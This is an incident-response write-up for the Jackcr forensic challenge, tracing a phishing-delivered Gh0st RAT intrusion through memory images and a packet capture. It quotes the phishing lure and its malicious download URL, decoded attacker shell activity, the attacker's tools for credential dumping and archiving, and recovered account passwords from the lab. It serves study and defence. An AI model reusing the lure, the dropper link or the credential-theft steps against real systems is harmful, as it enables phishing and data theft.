

# @Jackcr Forensic Challenge

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## FINAL RELEASE VERSION

### Challenge Background:

Memory images and timelines for 4 different machines were provided, along with a network capture from the 172.16.150.0/24 network taken after the initial IDS alert that triggered the response.

The first step was collating information on the images provided. This was done using Volatility [1].

### Initial Verification of the Provided Images:

The **imageinfo** command is first used to confirm that volatility can indeed process the supplied file and to determine the operating system family, service pack level, architecture, and time zone offset from UTC.

The **printkey** command was then used to extract the "*Microsoft\Windows NT\CurrentVersion*" key which resides in the Software hive. This key provides the registered owner, install date, operating system version, and service pack level. This information is used to confirm the findings from the **imageinfo** command.

A number of other registry keys were also used to determine the IP address of the network interfaces installed on the device in question. The first step however is to determine which Control Set was in use at the time the capture was taken. This is done by running the **hivelist** command to identify the SYSTEM hives physical offset address, and then executing a number of python commands in the inbuilt shell accessed via the **volshell** command. The reference provided at [2] contains the commands needed to do this.

Once we have confirmed what CurrentControlSet is, we can then query the "*ControlSet00[x]\Services\Tcpip\Parameters*" key (where x is the identifier previously determined.) This key will provide us with the hostname & domain name of the device. The "*ControlSet00[x]\Services\Tcpip\Parameters\Adapters*" key is queried next which will identify the UUID of the active NIC. This UUID will be unique to the device being examined. We take this UUID and query the "*ControlSet00[x]\Services\Tcpip\Parameters\Interfaces\[UUID]*" key which will give us the IP address, network, gateway, name servers, and DHCP status of the specified NIC.

Putting all that together we get this handy table below.

DC-USTXHOU	Windows 2003 SP2 32bit, IP Address: 172.16.150.10, Time Zone: UTC-0600
ENG-USTXHOU-148	Windows XP SP3 32bit, IP Address: 172.16.150.20, Time Zone: UTC-0600
FLD-SARIYADH-43	Windows XP SP3 32bit, IP Address: 172.16.223.187, Time Zone: UTC+0300
IIS-SARIYADH-03	Windows 2003 SP0 32bit, IP Address: 172.16.223.47, Time Zone: UTC+0300

## PCAP Analysis:

The packet capture provided, at first glance, appears to show little identifiable data, even though it covers about two and a half hours of activity and the ports being used are normal HTTP (TCP/80.)

Throwing the PCAP against snort running Emerging Threats PRO and VRT Registered rule sets, all we see are protocol anomalies, no specific detections. This is a strong indicator that the traffic is obfuscated and/or encrypted in spite of the well-known ports being used.

Using **tshark** [3] with the **-z conv,tcp** option we can easily determine that only 2 hosts are talking ENG-USTXHOU-148 (172.16.150.20) and a mystery host (58.64.132.141).

Opening the PCAP in wireshark and scrolling through the packets, one keyword starts standing out: "Gh0st" [4] – We may have identified our RAT, but how do we find out what they did? Luckily, the team at MITRE have released a tool called ChopShop [5] that can decode the Gh0st protocol (thanks to @infoseckitten for pointing this out!)

Using ChopShop we can decode not only any commands ran by the attacker (using the Gh0st command **SHELL**) but also extract any files they transferred. Appendix A: Gh0st Shell Commands contains the decoded transcript.

At this point we have still not determined how the attacker initially entered the network, but armed with the IP addresses we have a place to search.

## Memory Analysis – ENG-USTXHOU-148:

Given that we are working with network records, first volatility module ran is **connscan** – this command sweeps the memory image and identifies any active or recently closed TCP connections. For this device 2 connections stand out:

Offset(P)	Local Address	Remote Address	Pid
0x01f60850	0.0.0.0:0	1.0.0.0:0	36569092
0x01ffa850	172.16.150.20:1291	58.64.132.141:80	1024
0x0201f850	172.16.150.20:1292	172.16.150.10:445	4
0x02084e68	172.16.150.20:1281	172.16.150.10:389	628
0x020f8988	172.16.150.20:2862	172.16.150.10:135	696
0x02201008	172.16.150.20:1280	172.16.150.10:389	628
0x18615850	172.16.150.20:1292	172.16.150.10:445	4
0x189e8850	172.16.150.20:1291	58.64.132.141:80	1024
0x18a97008	172.16.150.20:1280	172.16.150.10:389	628
0x18b8e850	0.0.0.0:0	1.0.0.0:0	36569092
0x18dce988	172.16.150.20:2862	172.16.150.10:135	696

Output from **connscan** command ran against ENG-USTXHOU-148

This confirms that this device is communicating with the unknown machine, and lets us know that Process ID 1024 deserves close attention.

Looking at the process tree (**ps tree** command) we can see process 1024 is still running, but at first glance appears legitimate. 3 other processes also stand out, mainly because of their start time.

Name	Pid	PPid	Thds	Hnds	Time
0x823c8830:System	4	0	51	271	1970-01-01 00:00:00
. 0x821841c8:smss.exe	356	4	3	19	2012-11-26 22:03:28
.. 0x82189da0:winlogon.exe	628	356	18	653	2012-11-26 22:03:29
... 0x82194650:services.exe	680	628	15	243	2012-11-26 22:03:30
.... 0x820b3da0:svchost.exe	1024	680	76	1645	2012-11-26 22:03:32
..... 0x82045da0:wuauc.lt.exe	1628	1024	3	142	2012-11-26 22:04:43
..... 0x82049690:wc.exe	364	1024	1	27	2012-11-27 01:30:00
.... 0x8203c020:alg.exe	1888	680	6	105	2012-11-26 22:03:35
.... 0x821a62e0:svchost.exe	1068	680	5	81	2012-11-26 22:03:32
.... 0x822e9700:spoolsv.exe	1348	680	10	105	2012-11-26 22:03:34
.... 0x82192b10:svchost.exe	940	680	9	258	2012-11-26 22:03:31
.... 0x821a3c10:svchost.exe	1116	680	14	248	2012-11-26 22:03:33
.... 0x8219e2c8:svchost.exe	852	680	14	187	2012-11-26 22:03:31
... 0x82244020:lsass.exe	692	628	22	407	2012-11-26 22:03:30
.. 0x821b0020:csrss.exe	604	356	12	351	2012-11-26 22:03:29
0x8204f020:explorer.exe	284	244	9	372	2012-11-26 22:03:58
. 0x82226650:mmsgs.exe	548	284	3	204	2012-11-26 22:04:03
. 0x822d0828:cmd.exe	1796	284	1	33	2012-11-27 01:56:21
.. 0x820b13b8:mdd.exe	244	1796	1	24	2012-11-27 01:57:28
. 0x821feda0:msimn.exe	1984	284	7	359	2012-11-26 22:06:33
. 0x822408d0:ctfmon.exe	556	284	1	75	2012-11-26 22:04:03

Output from **ps tree** command ran against ENG-USTXHOU-148

As you can see PID 1024 belongs to *svchost.exe*, and that the process that spawned it was *services.exe* (PID 680). The launch times are close (22:03:32 and 22:03:30) and also are very close to their common parent process *smss.exe* (PID 356, launch time 22:03:28). We can also see that PID 1024 is the parent PID for *wuauc.lt.exe* (PID 1628), which was spawned shortly after PID 1024 itself was spawned. So far this all appears very normal.

What stands out however is the process *wc.exe* (PID 264) – the launch time is far after that of almost every other application on the system (01:30:00, a relative difference of approximately three and a half hours) and is highly suspicious.

The other anomalous processes are cmd.exe (PID 1796, launched 01:56:21) and mdd.exe (PID 244, launched 01:57:28.)

Beginning the analysis of PID 1024, because the suspicion that this process had been hollowed and malicious DLL(s) injected, we need to check the list of DLLs loaded. We use the “**dlllist**” command looking specifically at PID 1024.

```
svchost.exe pid: 1024
Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs
Service Pack 3

Base          Size Path
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0x01000000    0x6000 C:\WINDOWS\System32\svchost.exe
0x7c900000    0xaf000 C:\WINDOWS\system32\ntdll.dll
0x7c800000    0xf6000 C:\WINDOWS\system32\kernel32.dll
0x77dd0000    0x9b000 C:\WINDOWS\system32\ADVAPI32.dll
0x77e70000    0x92000 C:\WINDOWS\system32\RPCRT4.dll
0x77fe0000    0x11000 C:\WINDOWS\system32\Secur32.dll
0x5cb70000    0x26000 C:\WINDOWS\System32\ShimEng.dll
<SNIP>
0x10000000    0x1c000 c:\windows\system32\6to4ex.dll
<SNIP>
0x71cd0000    0x17000 C:\WINDOWS\System32\NETUI0.dll
0x71c90000    0x40000 C:\WINDOWS\System32\NETUI1.dll
0x75f70000     0xa000 C:\WINDOWS\System32\davclnt.dll
0x73d30000    0x17000 C:\WINDOWS\System32\wbem\wbemcons.dll
```

Output of “**dlllist -p 1024**” command against ENG-USTXHOU-148

One DLL stands out from the rest. And so let’s dump the DLLs from the image and take a closer look. To do this we use the “**dlldump**” command, again specifying PID 1024 but this time providing a path where we want the extracted files to be saved as well as a regex with the names of the DLLs we are specifically interested in. What could also have been done is to dump all the DLLs loaded in this process and run them against know clean hash sets such as the NSRL and in house one from cleanly built devices and install media.

The MD5 hash of the extracted DLL is *156f2c6a65a1eab1c03e1dc7f215a044*. And the SHA256 has is *29f63761610079940e43abd1d7c9c50ab678fef1da43c4c961069bbb8f7d0628*.

Once we have the file running it past our antivirus scanner brings up a generic backdoor detection, proving we are on the right track. Running strings against the DLL and doing a case insensitive grep for “gh0st” provides the final indicators.

```
Gh0st Update
Global\Gh0st zd
e:\gh0st\server\sys\i386\RESSDT.pdb
```

Output of “**grep -i gh0st**” against “*module.1024.20b3da0.10000000.dll*”

Now that we have determined the what, it is time to find the how. The first tool used is “**strings**” and we will start by looking for the IP address of the C2 already identified - *58.64.132.141*. A number of entries are found but the stand out entries appear to be SMTP message headers – was this delivered as a phish?

```

858.64.132.141
Received: from d0793h <d0793h.petro-markets.info [58.64.132.141]>
from d0793h <d0793h.petro-markets.info [58.64.132.141]> by ubuntu-router <8.14.3/
42; Mon, 26 Nov 2012 15:00:07 -0500
Received: from d0793h <d0793h.petro-markets.info [58.64.132.141]>
58.64.132.141

```

Extract from “strings memdump.bin | grep 58.64.132.141”

Expanding our search to include 30 lines of context around the string “d0793h.petro-markets.info” brings us the body of an obvious phishing message.

```

ceived: from ubuntu-router <[172.16.150.8]> by dc-ustxhou.petro-market.org with Microsoft SMTPSUC<6.0.3790.0>;
Mon, 26 Nov 2012 14:00:08 -0600
Received: from d0793h <d0793h.petro-markets.info [58.64.132.141]>
by ubuntu-router <8.14.3/8.14.3/Debian-9.2ubuntu1> with SMTP id qAQK06Co005842;
Mon, 26 Nov 2012 15:00:07 -0500
Message-ID: <FCE1C36C7B8C46AFB7C2A251EA868B8BEd0793h>
From: "Security Department" <isd@petro-markets.info>
To: <amirs@petro-market.org>, <callb@petro-market.org>,
<wrightd@petro-market.org>
Subject: Immediate Action
Date: Mon, 26 Nov 2012 14:59:38 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="-----_NextPart_000_0015_01CDCBE6.A7B92DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512
Return-Path: isd@petro-markets.info
X-OriginalArrivaltime: 26 Nov 2012 20:00:08.0432 <UTC> FILETIME=[A2ABBF00:01CDC10]
This is a multi-part message in MIME format.
-----_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Attn: Immediate Action is Required!!
The IS department is requiring that all associates update to the new =
version of anti-virus. This is critical and must be done ASAP! Failure =
to update anti-virus may result in negative actions.
Please download the new anti-virus and follow the instructions. Failure =
to install this anti-virus may result in losing your job!
Please download at http://58.64.132.8/download/Symantec-1.43-1.exe
Regards,

```

Extracted phishing message

Looking at the message the headers identify that the email was sent to 3 individuals at “petro-market.org”, which just happens to be the domain name of the pc. The email was sent from “isd@petro-markets.info” which is close enough to the target domain name to cause confusion for the intended victims.

Now we have a URL to search for, we can use the “iehistory” command which was introduced in volatility version 2.3 Alpha to attempt to identify if and when the users followed this link.

```

Process: 284 explorer.exe
Cache type "URL " at 0x2895000
Record length: 0x100
Location Visited: callb@http://58.64.132.8/download/Symantec-1.43-1.exe
Last modified: 2012-11-26 23:01:53
Last accessed: 2012-11-26 23:01:53

```

Extracted IE History Fragment showing visit to malicious URL (times in UTC)

```

Mon Nov 26 2012 23:01:54 56 mac. d/dmchmchmch 0 0 10117-144-0 c:/Documents and Settings/callb/Local Settings/Temp
4224 .a.. r/rmchmchmch 0 0 11721-128-3 c:/System Volume Information/_restore{6881E438-DDF2-48EE-
22428 mach. r/rmchmchmch 0 0 11722-128-4 c:/WINDOWS/Prefetch/SYMANTEC-1.43-1[2].EXE-3793B625.pf
160 mac. d/dmchmchmch 0 0 3420-144-5 c:/WINDOWS/system32/CatRoot2
352 .a.. d/dmchmchmch 0 0 3432-144-1 c:/WINDOWS/system32/CatRoot2/{F750E6C3-38EE-11D1-85E5-00C0
1056768 mac. r/rmchmchmch 0 0 6996-128-3 c:/WINDOWS/system32/CatRoot2/tmp.edb
131072 .a.. r/rmchmchmch 0 0 8499-128-3 c:/WINDOWS/system32/CatRoot2/edb00095.log
100895 .ac. r/rf-xf-xf-x 0 0 8610-128-4 c:/WINDOWS/system32/6to4ex.dll
131072 mac. r/rmchmchmch 0 0 8611-128-3 c:/WINDOWS/system32/CatRoot2/edb.log
56 mac. d/dmchmchmch 0 0 8823-144-5 c:/System Volume Information/_restore{6881E438-DDF2-48EE-8

```

Timeline extract showing Prefetch of Symantec-1.43-1.exe and 6to4ex.dll

At this point in the examination, we have identified as set of Indicators of Compromise (IOC) [6] –

- Network connections to IP *58.64.132.141* on port 80
- DLL *"6to4ex.dll"* loaded into the process space of *svchost.exe*
- MD5 hash of the *"6to4ex.dll"* file is *156f2c6a65a1eab1c03e1dc7f215a044*
- SHA256 has of the *"6to4ex.dll"* file is  
*29f63761610079940e43abd1d7c9c50ab678fef1da43c4c961069bbb8f7d0628*
- Presence of string *"Gh0st"* in the memory image
- Presence of the string *"download/Symantec-1.43-1.exe"* in memory image

This is not an exhaustive list, but is sufficient for triage and to build a quick IOC file (Appendix B.)



## Memory Analysis – FLD-SARIYADH-43:

As with the first device, we begin with **connscan**, and immediately find connections to our C2 server linked to the process 1032. Looking at the **pstree** we find that PID is *svchost.exe*, and looking at the **dlllist** we find our old friend “6to4ex.dll” loaded in with the same size (0x1c000) and base address (0x10000000).

Offset(P)	Local Address	Remote Address	Pid
0x01fb0d48	172.16.223.187:2109	172.16.150.10:389	640
0x02023638	172.16.223.187:1265	58.64.132.141:80	1032
0x02035ae8	172.16.223.187:1259	172.16.150.10:445	4
0x02080930	172.16.223.187:1261	172.16.150.10:135	1032
0x020859d0	172.16.223.187:1210	172.16.223.47:445	4
0x020f0d38	172.16.223.187:2179	172.16.150.10:1025	696
0x0230d448	172.16.223.187:1241	172.16.150.10:389	632
0x0770fd48	172.16.223.187:2109	172.16.150.10:389	640
0x0836a638	172.16.223.187:1265	58.64.132.141:80	1032
0x084c7930	172.16.223.187:1261	172.16.150.10:135	1032
0x084ec9d0	172.16.223.187:1210	172.16.223.47:445	4
0x08594448	172.16.223.187:1241	172.16.150.10:389	632
0x09b5cae8	172.16.223.187:1259	172.16.150.10:445	4
0x0ac37d38	172.16.223.187:2179	172.16.150.10:1025	696
0x16066d48	172.16.223.187:2109	172.16.150.10:389	640
0x164d3638	172.16.223.187:1265	58.64.132.141:80	1032
0x16610930	172.16.223.187:1261	172.16.150.10:135	1032

Output from **connscan** command ran against FLD-SARIYADH-43

Name	Pid	PPid	Thds	Hnds	Time
0x823c8830:System	4	0	51	287	1970-01-01 00:00:00
. 0x82274b90:smss.exe	544	4	3	19	2012-11-26 22:01:51
.. 0x82238da0:csrss.exe	608	544	13	387	2012-11-26 22:01:52
.. 0x82214da0:winlogon.exe	632	544	17	652	2012-11-26 22:01:52
... 0x822ba638:services.exe	684	632	16	256	2012-11-26 22:01:53
.... 0x8228fda0:svchost.exe	1032	684	77	1558	2012-11-26 22:01:55
..... 0x820297b8:cmd.exe	1048	1032	0	-----	2012-11-27 00:27:41
..... 0x821f7da0:ps.exe	1052	1048	2	60	2012-11-27 01:11:17
..... 0x820001e0:wc.exe	1992	1032	1	27	2012-11-27 01:30:00
..... 0x82034b40:cmd.exe	456	1032	0	-----	2012-11-27 00:18:21
..... 0x8230dc88:ps.exe	1448	456	1	44	2012-11-27 00:27:11
..... 0x821e8918:wuauc1t.exe	1616	1032	3	142	2012-11-26 22:03:07
..... 0x82228da0:cmd.exe	356	1032	0	-----	2012-11-27 01:16:33
..... 0x81ffb2a0:ps.exe	228	356	2	65	2012-11-27 01:22:07
.... 0x8217cb10:svchost.exe	944	684	9	261	2012-11-26 22:01:55
.... 0x821753d8:svchost.exe	1076	684	6	84	2012-11-26 22:01:55
.... 0x82043da0:alg.exe	1888	684	6	104	2012-11-26 22:01:59
.... 0x821b4a78:spoolsv.exe	1360	684	9	104	2012-11-26 22:01:58
.... 0x82244460:svchost.exe	860	684	14	188	2012-11-26 22:01:54
.... 0x821bac10:svchost.exe	1128	684	14	249	2012-11-26 22:01:56
... 0x822ab2d8:lsass.exe	696	632	20	411	2012-11-26 22:01:53
0x82223950:explorer.exe	296	260	9	366	2012-11-26 22:02:26
. 0x82226a20:msmsgs.exe	660	296	3	204	2012-11-26 22:02:32
. 0x821d43c0:ctfmon.exe	700	296	1	75	2012-11-26 22:02:32
. 0x821d6598:msimn.exe	1984	296	7	361	2012-11-26 22:07:13
. 0x82004918:cmd.exe	1860	296	1	33	2012-11-27 01:42:52
.. 0x8221d5a8:mdd.exe	988	1860	1	24	2012-11-27 01:46:00

Output from **pstree** command ran against FLD-SARIYADH-43

```
svchost.exe pid: 1032
Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs
Service Pack 3
```

Base	Size	Path
0x01000000	0x6000	C:\WINDOWS\System32\svchost.exe
0x7c900000	0xaf000	C:\WINDOWS\system32\ntdll.dll
0x7c800000	0xf6000	C:\WINDOWS\system32\kernel32.dll
0x77dd0000	0x9b000	C:\WINDOWS\system32\ADVAPI32.dll
0x77e70000	0x92000	C:\WINDOWS\system32\RPCRT4.dll
0x77fe0000	0x11000	C:\WINDOWS\system32\Secur32.dll
0x5cb70000	0x26000	C:\WINDOWS\System32\ShimEng.dll
<SNIP>		
0x10000000	0x1c000	c:\windows\system32\6to4ex.dll
<SNIP>		
0x74ed0000	0xe000	C:\WINDOWS\System32\wbem\wbemsvc.dll
0x73d30000	0x17000	C:\WINDOWS\System32\wbem\wbemcons.dll

Abbreviated from “**dlllist -p 1032**” command ran against FLD-SARIYADH-43

From the output of **pstree** it is clear that the attacker was very active on this system, with a number of different command windows open. We also see the responder performing the memory dump via *mdd.exe* at 01:46:00 UTC at the bottom of the screen. We also saw the same activity being performed against ENG-USTXHOU-148 at 01:57:28 UTC. The **cmdscan** plugin output shows a user opening a share called “ITSHARE” on the central server (DC-USTXHOU – 192.168.150.10) and copying the *mdd.exe* utility to the device being captured.

```
CommandHistory: 0x11486f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x348
Cmd #0 @ 0x4f2f38: net use r: \\172.16.150.10\ITShare
Cmd #1 @ 0x4f1f68: cd\
Cmd #2 @ 0x4f32a0: copy r:\mdd.exe .
Cmd #3 @ 0x4f2720: dir
Cmd #4 @ 0x4f2e98: mdd.exe -o callb-memdump.bin
```

Output from “**connscan**” command ran against ENG-USTXHOU-148

Unlike with the ENG-USTXHOU-148 machine, the **iehistory** command fails to return entries, but a search using the **strings** looking for the URL and the keyword “*Visited:*” did return results. Checking against the timeline we find the Prefetch entry and the *6to4ex.dll* being created at 01:17:58 UTC.

Time	Process	Operation	Path
Tue Nov 27 2012 00:17:58	100895 .ac. n/fr-xr-xr-x @	@	12010-128-4 c:\WINDOWS\system32\6to4ex.dll
	22270 macb n/rwxrwxrwx @	@	12011-128-4 c:\WINDOWS\Prefetch\SYMANTEC-1.43-1[2].EXE-330FB7E3.pf
	4224 s.c. n/rwxrwxrwx @	@	206-128-3 c:\WINDOWS\system32\drivers\beep.sys
	400 mac. d/drwxrwxrwx @	@	3420-144-5 c:\WINDOWS\system32\CatRoot2

Timeline extract showing Prefetch of Symantec-1.43-1.exe and *6to4ex.dll*

Also using **strings** we are able the same phishing email in the memory image, and the same “*Gh0st*” strings are found in the extracted “*6to4ex.dll*” file. With this and the fragments of the URL visit and timeline showing probable execution, we have found all of our previously identified IOC and confirming that this machine has indeed been compromised by the same backdoor. The extracted DLL also has the same hash values as the one extracted from ENG-USTXHOU-148.

The one major problem at this point is we do not have a PCAP file for this host and cannot extract the exact commands used by the attacker via the Gh0st Trojan.



## Memory Analysis – DC-USTXHOU:

As has become practice on this case, we begin with **connscan**, and do not find connections to our C2 server. Looking at the **pstree** we do not see any abnormal processes, aside from “*mdd.exe*” being executed from a command prompt as a response activity.

Running strings against the memory image for the other IOC (“*Gh0st*” and “*download/Symantec-1.43-1.exe*”) only show the phishing email being present in memory, which is expected as this server is the mail server for the domain. No indicators which would suggest the link was followed are present, likewise the file names “*Symantec-1.43-1.exe*” and “*6to4ex.dll*” are also not present in the timeline.

This machine does not appear compromised by the Gh0st backdoor based on our established IOC.

## Memory Analysis – IIS-SARIYADH-03:

As with the domain controller DC-USTXHOU, this machine does not appear compromised – suspicious network connections, download URL, and “*Gh0st*” strings are not present in memory image or timeline, and the phishing email is also not present.

However, in the **pstree** there is one process that warrants closer scrutiny – “*PSEXECVCE.EXE*”.

Name	Pid	PPid	Thds	Hnds	Time
0x822b07a8:System	4	0	60	434	1970-01-01 00:00:00
. 0x82103020:smss.exe	404	4	3	17	2012-11-26 22:04:57
.. 0x820ecd88:csrss.exe	452	404	11	388	2012-11-26 22:04:58
.. 0x82003d88:winlogon.exe	484	404	17	514	2012-11-26 22:05:00
... 0x81ff9b08:services.exe	528	484	16	289	2012-11-26 22:05:01
.... 0x81fe9d88:svchost.exe	768	528	10	184	2012-11-26 22:05:03
..... 0x81bfc268:wmiprvse.exe	1080	768	4	136	2012-11-26 22:06:44
.... 0x81c0c200:svchost.exe	256	528	15	120	2012-11-26 22:06:05
.... 0x81f77388:wins.exe	1388	528	19	196	2012-11-26 22:05:27
.... 0x81f7f2b0:PSEXESVC.EXE	268	528	4	85	2012-11-27 00:05:49
.... 0x81fb3668:svchost.exe	900	528	45	807	2012-11-26 22:05:03
..... 0x81bff828:wuauc.lt.exe	860	900	5	69	2012-11-26 22:06:44
.... 0x81f7ac78:inetinfo.exe	1312	528	8	151	2012-11-26 22:05:27
.... 0x81f9c498:spoolsv.exe	1084	528	8	103	2012-11-26 22:05:19
.... 0x81f82ad8:svchost.exe	1344	528	2	33	2012-11-26 22:05:27
.... 0x81c94d88:dfssvc.exe	1608	528	9	70	2012-11-26 22:05:31

Output from **pstree** command ran against IIS-SARIYADH-03

The execution time is within our attack window (established by the time of first execution of the backdoor dropped on ENG-USTXHOU-148 @ 23:01:54 UTC, and the time of the last memory capture, which was on DC-USTXHOU @ 02:01:56 UTC.)

Subsequent examinations of the Gh0st transcript and the ex-filtrated files show that a number of commands were executed, and indeed data deliberately targeted and extracted from this machine. This was accomplished through the use of PSEXEC to open command prompts on this machine.

## Detailed Analysis of Attacker Activity

To be completed once I can find more time 😊

To be included:

Use of the ChopShop **gh0st\_decode** module to extract the commands used (Appendix A) as well as the files themselves.

Use of the **mftparser** command for volatility to extract the bat files from the \$DATA segments in RAM

Reconstruction of command line activity over a PSEXEC session from memory

## Challenge Questions:

1. Who delivered the attack?

"Security Department" <isd@petro-markets.info>

2. Who was the attack delivered too?

amirs@petro-market.org  
callb@petro-market.org  
wrightd@petro-market.org

3. What time was the attack delivered?

Mon, 26 Nov 2012 14:00:08 -0600 via phishing email.

4. What time was the attack executed?

By the user callb on machine ENG-USTXHOU-148:

Downloaded at Mon, 26 Nov 2012 23:01:53 **UTC**  
Executed at Mon, 26 Nov 2012 23:01:54 **UTC**  
(from IE history fragment, verified with timeline and prefetch entry)

By the user amirs on machine FLD-SARIYADH-43:

Downloaded at unknown (Visited: fragment in memory without timestamp)  
Executed at Tue, 27 Nov 2012 00:17:58 **UTC** (timeline and prefetch entry)

5. What is the C2 IP Address?

58.64.132.141

6. What is the name of the dropper?

Symantec-1.43-1.exe

7. What is the name of the backdoor?

Gh0st

8. What is the process name the backdoor is running in?

svchost.exe via the injected DLL 6to4ex.dll

9. What is the process id on all the machines the backdoor is installed on?

ENG-USTXHOU-148	PID 1024
FLD-SARIYADH-43	PID 1032

10. What usernames were used in this attack?

callb (password Mar1ners@4655)  
sysbackup (password T1g3rsL10n5)

11. What level of access did the attacker have?

Local Administrator (via sysbackup account)

12. How was lateral movement performed?

cmd.exe executed via PSEXEC from ENG-USTXHOU-148 to IIS-SARIYADH-03  
PSEXEC was attempted against DC-USTXHOU but was not successful.

13. What .bat scripts were placed on the machines?

FLD-SARIYADH-43  
system1.bat  
system2.bat  
system3.bat  
system4.bat  
system5.bat  
system6.bat

ENG-USTXHOU-148  
system5.bat

IIS-SARIYADH-03  
system1.bat  
system4.bat  
system5.bat

14. What are the contents of each .bat script?

system1.bat – make the c:\windows\webui\ directory and share it as “Z” granting the sysbackup user full permissions.

System2.bat – execute gs.exe and output to c:\windows\webui\svchost.dll

system3.bat – perform a recursive directory listing of c:\\*.dwg and write output to c:\windows\webui\https.dll

system4.bat – using winrar, compress the contents of “C:\Engineering\Designs\Pumps\\*.dwg” excluding \*.dll, writing the resulting rar archive into c:\WINDOWS\webui\netstat.dll using the password hcIlIsddIsdiddklIjh.

system5.bat - copies wc.exe from the c:\windows\webui\ directory into the c:\windows\system32\ directory and creates an AT task to execute it at various times.

system6.bat – execute various system utilities to gather information on the network.

15. What other tools were placed on the machines by the attacker?

PSEXEC (ps.exe)  
Windows Credentials Editor (wc.exe)  
WinRAR (ra.exe)  
ScanLine (sl.exe)  
gsecdump (gs.exe)

16. What directory was used by the attacker to drop tools?

C:\WINDOWS\webui

17. Was the directory newly created or was it there prior to the attack?

Newly created for the attack

18. What were the names of the exfiltrated files?

netuse.dll  
system.dll  
svchost.dll  
netstat.dll  
https.dll

19. What did the exfiltrated files contain?

netuse.dll – output of various commands executed on ENG-USTXHOU-148 - hashes included  
system.dll – output of various commands executed on IIS-SARIYADH-03 - no hashes included  
svchost.dll – output of hash dumping commands on IIS-SARIYADH-03  
https.dll – directory listing of C:\Engineering\Designs\Pumps from IIS-SARIYADH-03  
netstat.dll – RAR file

20. What time did winrar run?

Tue Nov 27 2012 01:11:19 **UTC**

21. What is the md5sum of pump1.dwg?

a48266248c04b2ba733238a480690a1c

22. Which machines were compromised and need to be remediated?

ENG-USTSXHOU-148  
FLD-SARIYADH-43  
IIS-SARIYADH-03

23. Which user accounts were compromised and need to be remediated?

callb  
sysbackup  
saadmin

24. Are there additional machines that need to be analyzed?

No.

25. Describe how each machine was involved in this incident and overall what happened.

See analysis above.

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## Appendix A: Gh0st Shell Commands

Note: **red** text are commands entered by the attacker in the shell. Names of files uploaded or downloaded are in **bold**.

```
COMMAND: ACTIVED
COMMAND: SHELL
TOKEN: SHELL START
```

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\WINDOWS\system32>cd ..
```

```
C:\WINDOWS>mkdir webui
```

```
C:\WINDOWS>cd webui
```

```
C:\WINDOWS\webui>ipconfig
```

```
Windows IP Configuration
```

```
Ethernet adapter Local Area Connection:
```

```
    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 172.16.150.20
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 172.16.150.2
```

```
COMMAND: LIST DRIVE
TOKEN: DRIVE LIST
DRIVE TOTAL FREE FILESYSTEM DESCRIPTION
A      0      0      Removable Disk
C    10228 6681  NTFS   Local Disk
D      539   0      CDFS  CD Drive
```

```
COMMAND: LIST FILES (C:\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR AUTOEXEC.BAT 0 129964314217180000
DIR boot.ini 211 129981609811585442
DIR CONFIG.SYS 0 129964314217180000
DIR Documents and Settings 0 129964569290921031
DIR IO.SYS 0 129964314217180000
DIR MSDOS.SYS 0 129964314217180000
DIR NTDETECT.COM 47564 129981606020615962
DIR ntldr 250048 129981618306345996
DIR pagefile.sys 805306368 129984410083593750
DIR Program Files 0 129964566580312500
DIR RECYCLER 0 129982548503655357
DIR System Volume Information 0 129981611111718750
DIR WINDOWS 0 129984445902376741
```

```
COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR $NtServicePackUninstall$ 0 129981617362706222
DIR 0.log 0 129984410391770812
<SNIP>
DIR WMSysPr9.prx 316640 129981626850685706
```

```
DIR  WMSysPrx.prx      299552      129964314180773750
DIR  Zapotec.bmp       9522    1267509600000000000
DIR  _default.pif      707    1267509600000000000
```

```
C__WINDOWS_ps.exe
COMMAND: FILE SIZE (C:\WINDOWS\ps.exe: 381816)
Wrote 381816 of 381816 to C__WINDOWS_ps.exe
TOKEN: DATA CONTINUE
```

```
COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR  $NtServicePackUninstall$    0      129981617362706222
DIR  0.log 0      129984410391770812
<SNIP>
DIR  ps.exe      381816      129984447951480662
<SNIP>
DIR  WMSysPr9.prx      316640      129981626850685706
DIR  WMSysPrx.prx      299552      129964314180773750
DIR  Zapotec.bmp       9522    1267509600000000000
DIR  _default.pif      707    1267509600000000000
```

```
COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST (INVALID HANDLE)
```

```
C__WINDOWS_webui_gs.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\gs.exe: 303104)
TOKEN: DATA CONTINUE
Wrote 303104 of 303104 to C__WINDOWS_webui_gs.exe
TOKEN: DATA CONTINUE
```

```
COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR  gs.exe      303104      129984448080090049
```

```
C__WINDOWS_webui_ra.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\ra.exe: 403968)
TOKEN: DATA CONTINUE
COMMAND: FILE DATA (3001)
Wrote 403968 of 403968 to C__WINDOWS_webui_ra.exe
```

```
C__WINDOWS_webui_sl.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\sl.exe: 20480)
TOKEN: DATA CONTINUE
Wrote 20480 of 20480 to C__WINDOWS_webui_sl.exe
TOKEN: DATA CONTINUE
```

```
COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR  gs.exe      303104      129984448080090049
DIR  ra.exe      403968      129984448127283287
DIR  sl.exe      20480    129984448163068888
```

```
C__WINDOWS_webui_wc.exe
